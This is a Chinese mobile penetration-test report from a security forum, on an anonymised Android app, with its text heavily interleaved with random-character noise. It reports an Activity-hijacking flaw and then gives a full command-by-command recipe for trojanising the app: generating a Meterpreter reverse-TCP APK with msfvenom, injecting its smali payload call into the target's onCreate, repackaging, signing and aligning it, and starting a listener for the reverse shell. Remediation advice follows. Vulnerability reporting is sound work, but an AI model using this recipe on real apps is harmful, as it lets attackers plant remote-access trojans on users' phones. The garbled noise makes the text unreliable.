& ]5 d" z6 U+ Z( E5 F / \6 N: [& t9 P( K/ L/ I 2 检测结果                    % @9 s2 v' F; b4 a% R3 [5 | 3 Y' s9 g S7 U9 G- @4 }7 [% E

3 R8 Y% f4 P8 D4 M( P2 x0 G4 O. G7 J* b' K8 N

, K, r/ }) Y& p3 C. p4 l. X4 n" f. |6 [ y 2.1 某某某 ) E% c |9 M7 E# i* e2 U) l . o8 m3 H# l, S2 J# U* R

3 `- Z8 u0 W. K8 f) t$ F ( I5 c; v- e% k$ d: K4 V. B

s3 s$ w" {7 X! `" e$ [ & E \- L: Z' f$ {/ | 2.1.1检测目标 " R. w4 H7 |2 T& W6 L! c7 P8 E 6 x4 p& T7 q* v# V# w

5 n- \# W) X5 P8 c ! Z: W5 f* l. e

* E0 q, \5 C# q. z# L; C+ x0 \1 V. C/ k' s 目标地址: 某某某某某某APP % L( F& p, v5 p$ \3 D: ~- \, H5 ]9 Y/ @

8 ?$ V8 s! M) L$ r. n5 L6 T5 Z0 s1 X& K8 d' V

" ]. l0 B+ F2 g0 C# R3 t) G7 s! `$ L, `6 g, ^, x# P# X 2.1.2检测结果 2 O2 r1 e' B0 V& r7 L1 C, M# s% V" d8 R" A* r/ g0 C" C. |! E

/ g7 I' v- X8 Z2 w1 p; o 0 B# F1 a' {, p) x2 t/ [8 ^

: o& f7 u/ m5 g M& C' T, ~ ; n) u: ?: x' G) G 2.1.2.1 * Q6 F5 t, x0 ?( s6 U) F. Q" X/ s; ^* }

" O! U+ }# y0 d6 c% ~ 3 J4 e5 o) s8 e ~( S- k

D$ @. C2 C7 X7 C! t0 M$ \+ R; w # j/ }2 Y3 @4 m6 d 漏洞链接地址:某某某某某某APP ' X8 T/ x* |# V+ y9 z9 p : O/ x9 A; X2 d8 r, ] |

/ } \4 d! ~ v" m% G1 l & e/ Y0 x' |6 A5 G

8 P, ^2 c1 {4 {& m! Y4 D1 T+ I; Z0 S% y2 R, j! t/ f! B# E3 e   , x# ^* z6 c' h( {. b" F7 t 0 Z9 }* f' ~6 W# l6 j! E

4 n5 D }4 c# Q/ l4 q: j 5 ~. u5 m/ S. h

* o C0 X+ v! ^$ J) V* [! y; y7 B2 R2 U& k8 x; y; g 漏洞分析及取证: ; {% R/ {9 }5 o& H- U: O* m7 k8 ?4 T' B

0 x. e" Y% @9 @4 ^( ^$ m- Q6 _8 Y $ j z& f* \2 X8 j, T

8 y$ g$ R! U J' H2 g / O/ q* b* K# J/ f- f+ c                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 7 j- P0 E8 A* o0 v& P: m2 q ' Q, c% o# m" f. b8 s

+ u$ Q. V( R' N% M: Z! j$ L / O# l3 i+ l9 n, Y) ]/ z

& n' \- B$ W, K- o& o3 S2 K( x: M4 e. x8 u& W      - X9 o6 N7 O6 D ) o9 F: u/ K4 t n# s

- x8 Y# {( T9 {( v* Y# C# Z. w, M w* m. g

7 W* b, L u( l . p6 D: E' c5 A, H                       ^5 h8 F Y: j% g2 L4 N% B8 }3 G0 v* [! B- C

4 ^4 ?1 l: n) ]. h3 | : |* a) f% Q% D' C

! n5 G' y7 E) q5 L - D2 X3 U- e# |4 v- Z! z5 S P 4 Z' r4 O1 L/ M, G3 ^/ }1 ^+ m% ], ^! j$ J+ i$ s- |7 N, q

# t& e- i' R( ?8 z0 ~& D+ v 6 N# R3 {9 @& O. o- j

$ A7 n% m2 K! u1 j) m5 X1 o4 L : E& f8 r) q, C/ E, v. J# N" ] ( S$ l* q5 ]9 G5 W7 c/ u) p ( M7 L1 L, M$ u+ `4 B4 \

( S' u3 f% h" `2 ~, z3 ?) X 5 m% g, N, r- A! ?

* N# `* t0 Z# I+ L5 A 2 X* ~* h5 l& {7 f / j/ q+ I! `- t- R! ?4 D ' D, I( ^6 ?1 N$ {( ~) W( O. T! l

9 B# W2 C$ t' v ) C" G. o' C5 ~2 B" q d1 ?9 g

) e' M/ J5 E' [/ L1 }8 r" u' w . `! S7 w/ X8 Q4 M6 J& x6 ~- Z* T 漏洞危害:高 7 c7 |3 l$ M1 g( \2 L! L* C' `. M : w1 o4 R# ^$ p' u$ j: C

" `) B" _9 A8 Q# H( `7 I6 ~7 ?* e3 c" p) v O: k
' q. n" @8 E; ^( a" F+ H1 F # X+ Z# z3 N2 F, h . h+ I9 Z* Z/ y! B) _3 V$ b0 y3 g+ F- G1 K4 g1 g' u: `: i3 \% h) c0 b' e4 ?. H* z; O3 y! }' a' ~+ m: o& f7 \# v0 K" J) X! g5 y4 `4 i7 q& x p; a. i+ Z2 v& Q8 N$ ^! c% J% z& e0 F7 U6 Q4 V9 T. T5 w; O) ^" J* L2 |4 ]* u. @! b% K1 s1 a- R! a' U1 W. S' I) t) P4 i- k3 c/ z# H8 g0 d5 U' n; o- f, G7 Z( e: b# z |# ]! ~8 X; |+ h1 ?8 z7 U) A) U8 f/ I' u' d) F% W& `' H, t8 V1 T. G: s) ]. S" P7 w2 p- E- R+ H( Y) N: @( r4 r, \+ ]( ]) }6 k/ a" Z, _: F4 @ J/ G) b z' G5 u* r7 U5 Z! t6 D. e* i) n9 P1 J) ?. q9 }! Z' V8 u# |; s5 a1 h8 |- h; k' B* o/ U1 r" W! m: d6 d/ }
2 L$ w" u- M m; i3 b4 b# ]0 D& B. A E

! k: g" f* [7 ?5 B2 | 1 a& Z9 W9 O! f 严重程度 % k+ r- x; e( q9 o) x6 b6 V0 Q: r# C) g2 V, M& H

% T3 K) o& ~' R- h6 R# A5 G # @3 p$ E1 y S# S$ g; Q
, z; e% y5 R9 a- }) w + w9 q, x, C8 h: i7 n

8 H/ e5 X' Z; v: k: o! j$ q& i 4 F! y' T, J/ j4 g ) F2 A. i4 }2 y' E " s9 ?4 d3 _( l! g* S4 Z0 i7 p* E

* t& k: ~2 A* X; e' e! A' b# z! U K( ]
2 @, x4 ~# N3 c! ~, J. d 3 k& D+ B. t2 r

1 b. x. `7 m% k; Q ! F0 r, Y6 E4 `! w' C. Q ) c! ?" h! w2 z3 F5 u , Z9 x5 \. ^6 r$ N0 ~

* w3 X/ O K& M4 l1 e' d( J - `! j6 S2 J/ W. B$ H
; H7 `/ Z' n0 p* q+ ]/ a( t% k" r1 Q3 K' f) H8 ?' S0 G W

8 K; Q( F4 ?6 V4 K. O) N3 t1 B" @/ @. c) {' y7 k . p) t- w4 Y2 k% B6 ` & _$ F; H/ z6 F% t" Q1 r E

* ?' ~3 K7 {# G4 P 6 G! X: D6 _! C. A1 _: r
3 |* [" D4 j8 t' X! v P% x+ R; \/ b$ H. ~

2 O+ O9 z( R) l+ C9 Q7 q9 J2 X8 Y. h' b4 c+ X8 f   - x1 K F& p9 S9 a! s, V 9 F7 Z# C. _7 O4 g4 I7 t% w0 E

! x: D" `, L/ [% n) i' D 2 P5 G, N# i9 O2 O
( M4 F* l& m- z2 E4 k: z6 J. Z8 a- E4 K$ q1 U

2 o( \: W& p5 y7 s% j) T 6 }; L# H* @3 }/ G ; t7 ~' Y+ P, ~! O! X : Y. `! `2 \. G/ _! X

& y4 `& X" Q5 \" g7 f8 T; {8 z ( A+ J# a9 e7 Z2 R% R2 W
( B; ?; B) n# i ) ~1 ?' Y) `$ S/ j: I+ y

7 p# {& f; g& O7 i- C 6 g7 a3 G6 |) x   # |6 f" a$ P8 d, n4 g( M+ [ 6 T+ |% _$ V6 V3 b8 \. O

, Q6 g, f- F& P) T . k5 @* K0 F1 U4 D$ l0 n% q
" _( g! l& m0 O ]4 L, W5 @' `) w( M! n7 y
% o& ?6 V& v' [* s8 L4 y. L + Z6 G' _- z$ s0 q z, T

8 ?( |, S- ?& g: C0 X- _7 p0 A. k; |) D: l   ( x% f7 N9 E' b9 n6 o8 ~6 [. @6 k, `+ p

$ |+ K+ ?/ x0 I5 b' L - ?7 O+ N6 z3 h6 V1 a, z

+ n& j1 N- D3 |3 P8 j1 ?9 h6 T" z " X4 W# @/ C% i8 M2 K& Z 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ' t3 } G" S+ R. K2 I& } / y9 V8 J! C6 ?+ ]8 [& y" x

6 S# A6 `" O* N2 M; U# U0 Z: f- q- N& ^

* C: S% ^- A! k( r) u7 d+ M- A& f( ~2 p! s7 \           z) N1 E9 g3 |$ I$ g% K) r 6 r, S/ Y6 I! V0 q) }

: `3 @. |. g0 H1 i! Z e " [! x9 N0 P/ A6 F

% n9 U( g8 k" P+ i: ~/ e* Z / ]' A6 [8 c* Q+ Q6 ?. b, \   : d* C- X3 @2 H* j6 F f( L/ ? v l3 ~4 t4 T: v

4 w: ^7 Z- i! \% E. f1 y7 W" J+ F' U/ c% a8 s! X4 N7 I& L: N, `

( T5 M! v- o4 h# {0 s 5 I; X0 i6 p0 H4 g. I$ g: E- t 2.1.2.2 * m) I. X6 G1 U 5 I" l, m# `0 u- b0 ?) Q

' T( l) z4 k- Z" t2 z* S' b ) ]) L/ r9 S! V" s

+ y7 Y. p1 x; z& d 5 z' o+ C* h. X1 ? 漏洞链接地址:某某某某某某APP " L% @3 G, h1 F8 W5 l; q$ \ 0 y4 X m5 ]* z

( x; r. Q8 R Z+ j $ X! j, [# a) M. c; q X" K

8 ?5 k. G. G0 T( [# ^/ ^& M1 ?1 `, t0 z$ r3 [1 Z. a 漏洞分析及取证: / |0 j' N3 ?; y3 s% d( z; G( {5 K ( q5 }- k& _2 F9 m0 W* a- \; K

7 V y' P7 a4 k5 Z6 Z! x8 j9 {3 b9 Z, y6 V* i% h3 a6 t, Q

+ U6 U# K+ F1 g, f J, ?9 |, c7 S4 E6 U                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: $ ` w+ `* b& A$ { Z0 _% B! M 6 G, z( g& d. S4 v- v

$ @/ I; o5 f% I9 s6 m , S! l$ w( J" Z# Z u. a4 d

+ J1 r$ e6 B8 y- s# s. a/ ] ) D; J, S% D% ^ Metasploit 生成木马 apk , c% F0 _$ e1 r( C1 v' q( n ! {4 X. ?9 u: \5 Z+ L

7 |% R6 S, m& y) o K2 |% {( f- b: ~' F/ y Y b

" L4 F. q5 M/ ]1 Z& U; U . I* P& [+ N5 u; Z; H) J msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 3 Y6 P# G7 F/ r2 a$ Y " t$ Y5 ~* i B N

* \1 N! a" Q8 J8 z2 c* y o5 G4 N! P' j' P8 u: k

, u9 {0 `9 e/ v) N , R. f/ O: M6 g4 X. l" U 反编译目标apk和木马apk # s& K9 J9 K i ; D' g6 f0 N! s U

1 j4 ?; L4 B( K4 J( \+ s8 D( J7 r3 t1 Z) k b! q% |1 p; X- z. y

$ u y: C: T$ e/ Q+ D/ \/ P8 B & C8 a5 P7 G2 j& m" G. i# c apktool d target.apk
0 t: K& @9 x0 ` V6 ^# z & k, Y7 [8 v( C4 L' b$ b# ?0 S7 e apktool d cockhorse.apk
( g& B: ^0 L; X, F# | 0 R, K5 c! E8 w0 [/ Y p% I

8 D0 \% W6 h9 h4 T8 X) X! Q5 K 0 j% ~" p0 ?" `" }, _

' N: c/ _& W8 l" n; y( u. I: y; N* d4 B 木马 apk 注入目标 apk ) g. C: l8 r; N: s; P1 A0 z 9 V v2 a6 g. a. R1 k Y

7 x& g6 t7 f6 @, R* E8 o# Z % ]( v3 p' y9 F

/ i3 M' l! m. y7 P; D! E Y0 Z0 F1 B# a7 d 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
* Y# W' D6 ]# b% K* M - l. f" A9 ~* I invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ q& n& G. ]; E1 a1 F - ]3 |! c& D* |: E$ V

, V$ H: K" E3 |# O7 P! |4 J; A. [ l8 l: o0 o) ^: D

- n* K/ D+ `" U$ o / `& a B. `0 M 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 ; w1 q7 S6 G- N1 V& t & W1 w. q8 ?0 _5 Y: O

3 P7 s2 O3 x) c: m+ ?* t ; X! L0 b! ^7 o( _. p

7 P8 w- D1 j/ }( U# b; o* F' k8 E- c' ?' n 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ " b: k) [. J) t4 l6 W 0 n* g I4 {( u1 f5 u( f

1 H$ \/ y: [' |; s 3 Y, K. g% o1 _* F

9 Z& C' d2 J+ L N& ? 2 @0 E+ O8 o2 N* ~; q9 k 回编译生成最终 apk 3 V# a- O I' I7 S; S. i H; ` 9 |7 O3 [1 w4 K% U

* E; {0 Z! n1 E: `9 O, J( S/ n $ u& [$ j: w6 b: k* _% c6 Z

# H8 d6 B B$ j5 q ) ^; r8 {5 n& w% H# ^ 重新打包 6 U: T5 H/ l& M- w- B: N8 e0 q. E; h$ |( [' X+ V

|) u6 D0 |4 X. b3 J; B! ? 4 }2 F$ S6 U( p/ `% ^3 R7 ^) o

8 U# Q1 `% ?$ @' t4 |7 n 0 g$ D# Q/ ]* k1 x0 s2 w* i apktool b -o repackage.apk target_app_floder 9 q- h5 w& O8 i ; Y1 h" `5 d' ]( q, |* e s

, Z5 J6 K3 f0 l8 V6 ]0 n 2 m2 m) {" C; C) n5 |

3 P2 @% z4 N2 ?4 A9 Z8 L. j' h3 p9 P0 r. p8 ]0 b8 S 创建签名文件,有的话可忽略此步骤 $ V/ d$ S2 z. F3 }$ z 2 Q# w9 b- E5 K3 }3 q

+ n. R1 a2 a( e! P5 B2 X* k & w" R7 P; {! u f, u0 u- J& V

9 s7 F0 [" A& Z2 v/ `" S& c / w) a. \' _1 p. m i keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ' m7 Q0 i# n$ e; m! V# t; n2 s . T( E7 e l! Q, G0 N; L: i

: d& e8 l* c7 i $ s: ]3 G; B: W6 _, ] e9 s- F2 ?

' [4 Q% @* m3 H) z I * ?) n5 u7 O* m% D. @3 ? 签名,以下任选其一 2 A3 |# M: d+ W3 X! t 1 r# M4 b+ V. B

8 y, ~" N, j; V/ ] 0 V1 x% [4 P2 D) m0 T( A

5 t8 P+ V& V) e9 Z0 f+ m d# F0 k : n' d1 x1 w7 t; p" e3 ]: ^3 d8 x jarsigner 方式 - S5 e( F! }! n& {. i' d D! m1 L- i" W; S5 A

* T/ r( @! D% n+ B0 }0 _" _1 K! n8 [- e; f, J& ^0 ^; q: S

! c* `3 V4 P; h+ U 7 X& A& K* N% f0 z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - ~3 b }6 ?) T. W7 O2 C 5 y3 n# i8 }- H, j, V# Y4 A

" `' {6 }2 u$ _2 ` D! ]0 G3 S% P$ T* _' }

/ v' j) J) | |3 q# J, S 5 K+ I' M6 ^' y7 ?: N- [- ~) Z, `. x1 [ apksigner 方式 ; p9 k `6 a# q' z) R1 p/ Q* F0 S5 k( w3 s

/ d4 R/ c E& J) e" R0 c6 l 8 l2 E$ o: r) x0 s

& z w m* |& P' v; f % j% B2 T9 r! i+ C3 O/ L apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 7 t, `' u* F* Y% C # y5 M: E; M. l% M+ }3 A1 ~

. c2 |4 N# o+ Z F) q; _$ K' L+ m6 K8 p

$ z+ k' e$ R5 S( |$ ~ , g. u5 _5 C" ]; M 如需要禁用 v2签名 添加选项--v2-signing-enabled false - p6 k9 s) ~3 b: t1 y* ` 8 e" E( k. O! v+ w1 D, r% h1 s

, Z0 Z7 b1 [ e; \; ^" ?% u 4 Z, ? l# E) Y3 I: T9 ^, f: A. Q

( q# d: \9 x+ t % z/ e/ H# b7 T# J. _' ^$ Z 验证,以下任选其一 / [0 }9 ?4 t, S- H4 r& ?6 y5 q1 {; ` 8 n7 q; y& Y' {% ]( A( T" x7 t

2 T7 P& @- q) B6 P% Q9 y, k0 u2 E9 _ 1 K) S" W/ @8 c* E" p

! m9 b" _6 s# X 3 y3 D0 ]' C5 s jarsigner方式 4 M# N+ p( X/ X: E6 P ) Z9 I' ^" m* M4 H4 _- z* l

" v, j( n- E# u , I1 y+ ^2 M* e7 l& ^

2 S/ ^& Y h: v) _" b$ h* o . V7 U1 u5 N4 M- h* } jarsigner -verify repackaged.apk * D/ H9 n. l- h n + Q6 v2 E8 {3 w$ l7 a% J- s+ K6 E

9 [7 v1 j9 M/ [0 b + _7 R" F! P8 s7 K* n* b6 w3 E

: r5 N3 X% m, x. \, G0 d P4 p % t9 e( E: ]8 X* F5 l apksigner 方式 7 ^0 c3 A) ?& y0 m( L $ e P! `3 o& [6 o* j

/ L9 K/ g* a+ m# Y0 v7 L* w( x 9 a" k0 l. Y/ n

! v+ ^0 s1 D: C+ `' n" \: P 5 B9 V x S s. k" b2 K apksigner verify -v --print-certs repackaged.apk 7 {% G( C3 J) t0 y+ ^" ~6 t7 W& g3 o& s# Z( L

, K9 v' ~+ i4 C7 }; W# U5 r 9 t) ~: _# T2 o

) x+ `5 R# A. R3 O5 |( q 1 s$ x7 h t' j- F/ X keytool方式 , k, b H! R' f: E* ~6 W& F$ h ( H4 a# g1 X. u* ?) j

: f5 q8 x0 B* m. @/ E3 S; y! i C( O, ?5 b

7 P% W9 h6 q5 v' c" f5 N) z$ E6 A: k6 m: }% ~1 m6 w keytool -printcert -jarfile repackaged.apk 3 v2 U4 Q W1 [7 q$ Y/ V" n; i1 j" y! z1 V- o

( _0 m5 G8 j& j 0 h+ T$ W, i9 O7 {$ }4 H3 a

/ o1 a3 _9 R9 n9 N& C6 X4 v/ {" B, J8 q! z2 l 对齐 + L( A/ O/ K# y9 T/ J % J7 [) d0 z$ n+ u6 \5 o

: p# j' _* J; c1 i3 Q4 d; V. ~. s% W' [ ! N; ~' c0 L: K

1 }5 Y' a# t; z W. t 3 l, s$ A- l; u8 {) r8 I: B 字节对齐优化 9 D; |5 H9 X4 c5 R6 t$ } 5 P/ `8 F# _7 N. _! c2 U

+ O3 X, v7 e# N* `; e( g6 f+ m 4 h( k; G% C5 ?; F( X: J

; J3 t# j+ B6 d& }9 @* z! c2 L+ A" h- U8 d( Q) h, U* v zipalign -v 4 repackaged.apk final.apk 4 z/ D9 V! |) J+ C. C 0 o9 C4 Q0 C& j7 g

7 M1 a7 e3 u0 A/ [# ` $ v% E" W+ ?% o2 a( f7 i' ~

& z' k" A7 p% p) Y {+ _, a3 T% |9 f1 Z" A& l- I 检查是否对齐 / e7 Y0 ?8 o6 y9 J" d L& i 9 V9 M% u! J# }2 ~! R; z

4 J* }. V% L- ]! K9 _ 1 E" d! \. \4 b* l

9 `! @% f ]4 q, c7 b6 n, } % D# C" o C: d" Q4 ~ zipalign -c -v 4 final.apk , G7 |. q" ^0 n% f ! w1 e: c! y7 T

6 L2 f3 _) l/ R. O) m2 t & T. J- T$ O! `% ^. n( N; @9 y

1 o/ X1 H6 h: e7 \- A + l! L$ g$ w- f7 O 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 8 M( j& O2 z5 P/ f; J" m' ] 1 J, W% ?1 g* @) U% O& |

% I2 [4 z3 l. Y5 B5 ~+ [0 k% g% e / |: m' V6 C" W. L

& r5 z9 s* K. W9 v( r8 z) H 1 _" l4 ?; b5 D) Z$ K6 o$ ? 启动Metasploit控制台,配置参数等待上线 $ }7 A. d* M' R2 e' q# s4 k9 j: w! o/ P5 T; V, g

& F/ O- \+ ~& `8 U8 l+ e X# a : w# l! {2 u2 V* ^- h

: F2 O4 E/ Q) R( k! I: d 3 i: t1 S$ ^9 o1 V+ O" Q$ I" ~ 在终端依次输入如下命令 9 u6 V/ G! n- o 2 D" e$ d" P$ J6 }

: M- J' Z0 S1 f9 p ( \; i3 ?9 ]" m7 x

' N) I3 X+ G2 D 7 i0 x2 V9 |) x% M* V5 d msfconsole $ I) b7 n& {/ ?4 I4 b2 i2 ~ 2 n) A4 g2 z, ~ }* N

& d J G" t4 j& j! o0 S$ L( p' N3 I1 s5 K

( e; X# Y9 _0 T0 R4 Q+ P - E" N6 Y% J: w- _# ^ use exploit/multi/handler & O0 Y' j# V! L0 R 7 B4 o9 S" e" S6 v

: Z( r/ i2 ~0 m6 d7 R+ S. r 1 T; l* L/ l7 n) p5 L

; i5 e8 |5 d' e4 l2 H5 Y& g. {& r - D. a' l5 i [. c, e- V/ N set PAYLOAD android/meterpreter/reverse_tcp , }; Q# x) R! a5 ]3 J: m & C8 l6 u' J$ X4 \

, f1 z( C s: U9 t # r& \0 v* K6 [6 p( h0 X

) |3 U8 ^2 a- H2 K& }' C# s$ e' D0 x' N( b. o: o% a; C0 c0 F set LHOST 192.xxx.xx.xx & N- Z( _& F6 H1 i( U9 v " Y8 G4 j4 N8 P' g/ Y

8 i3 B) y# E5 C" \% @4 @/ O0 K+ T 4 D( h1 e8 S+ `) ~

# ^! ]7 v' o& ? 4 h: G0 ]0 ~8 |- J/ y% h( ~ set LPORT 4444 * U G `# z+ B6 y( Q7 v8 w0 ^2 Y6 o9 V" o# r% U

. E, F8 }: Q5 x. l2 \7 O $ b! `" ]% ?4 N$ }1 j% T" L4 A# @* C

' S5 {! P0 Y/ z6 ]5 S* p# V! W, z / x7 G. C7 K% k/ Z! d C exploit 0 v1 i' [. W3 O, O ]0 M0 y/ Z d* ^" t0 E U. p

, |4 p5 u/ J7 C/ O 5 S7 [* @+ {0 p% ]2 h$ G

+ ^5 q z; G4 r/ z) F" H! J 7 {; q# K d+ W C/ I, v/ t3 H 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               $ p7 ], i# O8 P4 B; ^& V - C0 ~' m2 R f: U; t! m1 E# }

8 B+ ]. m& ?9 J& l5 v' u$ H8 \) _( Z

! q5 O1 f! s8 d) m: n, j0 l" @ ; k' ]+ @+ ]; j! j 漏洞危害:中 , o" v7 w* M6 N6 T0 u( B% f# ] $ @: ^, Y5 Y& U- o; |! {

& S- A2 {6 Z; S, r( b! e* o3 s+ [3 ~) w1 [
3 F, |! }/ L- I) }+ n1 R. u8 F, L `- g0 Q, Q% y6 H 2 O& u' D7 r3 p( ^; ] ( @' {4 @% {. B' Q : V+ R& T% |$ w- b1 B$ T9 c" c, r0 ^# e# q! Z4 L3 ~ ]9 C" \- {9 ~0 D8 ^6 o# V! g( i: D' s2 C9 } f6 H H3 Y* a5 g4 ?3 j w. a( M. V- I6 ~- k; Z# U3 |2 Q3 h7 V, o" R* W4 |) {* r: `6 M P9 o* ]8 a2 e$ ?5 A, e) V/ A% g# i+ P9 ~ T) X) ?* ]3 u7 B+ r5 y2 h; [/ [, l! H# R7 z) V* t' T4 v; c0 x2 D# H/ f# { ]( {& B# Z2 Q* l2 i; K( `* e, `; Q( q5 C, m/ k1 N/ t7 a/ K0 Y: g0 l T" a) n% D( A) h H! h1 Z9 w% }4 e; Q, P* A6 B8 C& s( C; i) R- \7 v" a$ G. f8 H4 p3 B: F0 s: P X; u3 X) u2 ?1 P* ?+ w. K( h1 ]- v4 Y( j4 ]+ J8 X2 a( F! s8 u. S% b% k' K5 [/ t. `4 F. {! I$ n( i/ B2 M, ^1 i+ I4 s
! \4 a b+ m* a: K: w/ {& O % B2 P5 a5 ?* U9 D

0 S; u3 C. f* {9 h/ h. x& l2 a. m: ]' r1 {, n 严重程度 , i% j/ p% g$ W $ ~9 ? d2 J! { f3 z4 f

0 O) S2 V. H3 L6 |2 u9 m# F" v6 [; a9 T2 _& J
- N; Q9 I/ g" @: E4 G! X+ W4 X. K2 F7 t9 E# X

6 h' I3 }/ k: }8 O$ {: S" c6 N6 N + c' H9 l% U! B5 T1 E9 l8 [ 9 Z/ |4 @0 M+ x2 K8 I; f" o$ e+ z8 ]( _6 J( a/ V) }

5 o0 T* v9 N0 m% t* I3 E! i' c6 v0 v+ }6 y8 a5 P3 r# |) G
/ r) f$ Y9 {; F/ O % b" E% B" v! p1 S8 {$ z+ G- @* }

2 k6 R* ?; N, Y1 A m6 o - N8 q! t, Z8 f7 T4 ?: a , i i8 Q# R2 L6 M : Q* K- y: c1 k; c' D0 r) i" D

F# p5 A$ ]; D 5 { f7 a: j7 `
5 N- I6 T; o% ^; A+ m; K ' ?5 M. h5 j. D3 q- N

3 P5 h0 @7 o& z1 N. ~ 2 V! @8 T& ]/ E$ f) C - ~8 g2 g# q+ Z/ _9 E( ` 6 } M$ z8 A( F9 V* t+ Z" o% N/ j

# B4 e1 F+ V4 ?& ^9 f) H 1 ~# a' g/ g1 r* G; j8 K' v2 O* {
, S9 g# W6 o; j2 p$ [6 V0 N( Y& d7 v7 ~! s G( m) E6 Y7 o) l* V4 k ( t9 S2 L: q5 @: I! m

2 Z/ H! E2 M$ Y7 H& J- q) q: a7 l% |. E8 }9 p' `   9 {" y5 u4 n" j F$ a- Q% \ & k& c1 v2 F* W/ } p4 i

. ^$ y: h' z: n' h3 v& B( d) { ) z4 Z3 d1 i% u. B5 I2 Z5 j) Y; B
' K+ o+ H+ a2 D7 j6 Z9 ]9 |" h/ W/ L1 Q5 v

' P2 F" J5 Z, [ - x% v* p# J6 x5 R2 C / ~5 j( a8 W w% P" ~" x8 @9 ~' b3 A 7 \$ O: Z I8 A2 n1 u5 W

8 L# |" b% F i! m$ ^& I7 F# W
9 Y9 `+ I" S2 l$ w% P) ^" _" a' ] R# r3 C* v) y " {; [! y3 K8 J7 T % j3 t/ W: v4 B

4 a. p( U1 d, B1 ? ) O. _8 B j3 W1 c7 I   % a" K6 M1 P+ f. N8 x* N% S+ L4 q% q% Q$ W- w$ J+ l! }

& M% z% j, H t1 h- v / n! N0 g, y4 H8 s6 K% N
: ~9 k; R1 y0 s3 u2 |8 @- b8 b; o3 u/ D4 x0 _
% |9 e# _" A- P* l7 C ~! _1 j. E) u2 n' J. f: o5 L- }

6 @! U/ s, S* r8 u+ t7 v& n8 B: U: R# E+ e, g9 s   . P. ^. I9 {' g R( N8 X2 F: \, V* V

$ E6 F4 ^5 W _1 D( { 7 ~" @' S# n I1 q, v' f- r8 ^* g& @

1 s7 Y5 y* r1 D! q: K( Y) F ; r9 x% h% C0 C }- [3 M 修复方法: 1 v, o: }: @& E5 _% J- V " _; B& N0 Z1 ?2 u& t

! v, F# z- h0 A9 U * Q: y1 O) Y& _+ Q! k! f! ]8 p

! I6 ^$ f( n' ^- V* g( n * }- O! n: S" x0 N4 S6 e               1. APP 启动时应做签名校验防止二次打包。
: i& `7 C* l4 e; C* P* C( B 4 T* l) t% x7 T) g7 s 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 6 _2 U' w" x# G, \$ ]4 k ) g/ m I8 [' i4 j: J

2 y# Z4 n! L( x1 I) X, I* R9 _ * _ f& O8 r. F" o % L( N# J1 z8 j* E+ Y) s; q E6 s* ^* k0 F$ u9 \) I

' P$ ] g5 i: F ( R1 u9 Q- y4 E x2 j   ' n; s% d! j2 P , b V! I% ? r

% q1 S; n* C2 P) b. @8 s7 J$ O: d- u8 ~ h2 }# \) T# M# ~ / o( ?5 p$ {- g! J/ r9 D( \$ N$ [& b+ o: N4 R

, e' Q/ R0 t" x% O: a * b: B6 [* q5 Y7 A) q* v& A
3 M& H/ M; D. N' g% P) g 8 z& k+ |' i( P' I; f

0 S. ?* `" R# f! N : @% Y* y0 _8 K! R8 N2 u) H





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2